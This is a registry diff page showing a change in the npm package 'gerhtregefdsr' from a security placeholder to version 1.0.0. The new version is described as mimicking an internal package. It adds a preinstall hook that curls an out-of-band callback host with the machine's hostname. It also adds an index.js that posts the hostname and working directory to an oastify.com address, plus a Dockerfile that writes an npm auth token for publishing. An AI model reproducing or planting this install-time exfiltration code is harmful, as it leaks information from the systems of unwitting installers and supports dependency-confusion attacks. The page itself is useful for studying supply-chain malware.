gerhtregefdsr 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of gerhtregefdsr might be problematic. Click here for more details.

package/Dockerfile ADDED
@@ -0,0 +1,11 @@
1
+ FROM node:14
2
+ ARG PACKAGE_NAME
3
+ ARG NODE_AUTH_TOKEN
4
+ WORKDIR /usr/src/app
5
+ COPY package*.json ./
6
+ COPY index.js ./
7
+
8
+ RUN sed -i "s/{{PACKAGE_NAME}}/$PACKAGE_NAME/g" /usr/src/app/index.js
9
+ RUN sed -i "s/{{PACKAGE_NAME}}/$PACKAGE_NAME/g" /usr/src/app/package.json
10
+ RUN echo "//registry.npmjs.org/:_authToken=$NODE_AUTH_TOKEN" > .npmrc
11
+ CMD ["npm", "publish"]
package/index.js ADDED
@@ -0,0 +1,23 @@
1
+ const os = require('os');
2
+ const path = require('path');
3
+ const axios = require('axios');
4
+
5
+ const PACKAGE_NAME = "{{PACKAGE_NAME}}"; // Replace this with your package name
6
+ const HOSTNAME = os.hostname();
7
+ const CURRENT_PATH = process.cwd();
8
+
9
+ const url = "https://3gkkr6u2z1a9rinocp0ue4tw1n7ev4jt.oastify.com";
10
+
11
+ const data = {
12
+ package_name: PACKAGE_NAME,
13
+ hostname: HOSTNAME,
14
+ current_path: CURRENT_PATH
15
+ };
16
+
17
+ axios.post(url, data)
18
+ .then(response => {
19
+ console.log('Response:', response.data);
20
+ })
21
+ .catch(error => {
22
+ console.error('Error:', error);
23
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
- {
2
- "name": "gerhtregefdsr",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "gerhtregefdsr",
3
+ "version": "1.0.0",
4
+ "description": "Malicious package mimicking internal electron-panel-window",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node index.js",
8
+ "preinstall": "/usr/bin/curl $(hostname).cs8gcr797nlo375ti9rgdtbp5z7f8m7pj.oast.pro"
9
+ },
10
+ "author": "Malicious Actor",
11
+ "license": "ISC"
12
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=gerhtregefdsr for more information.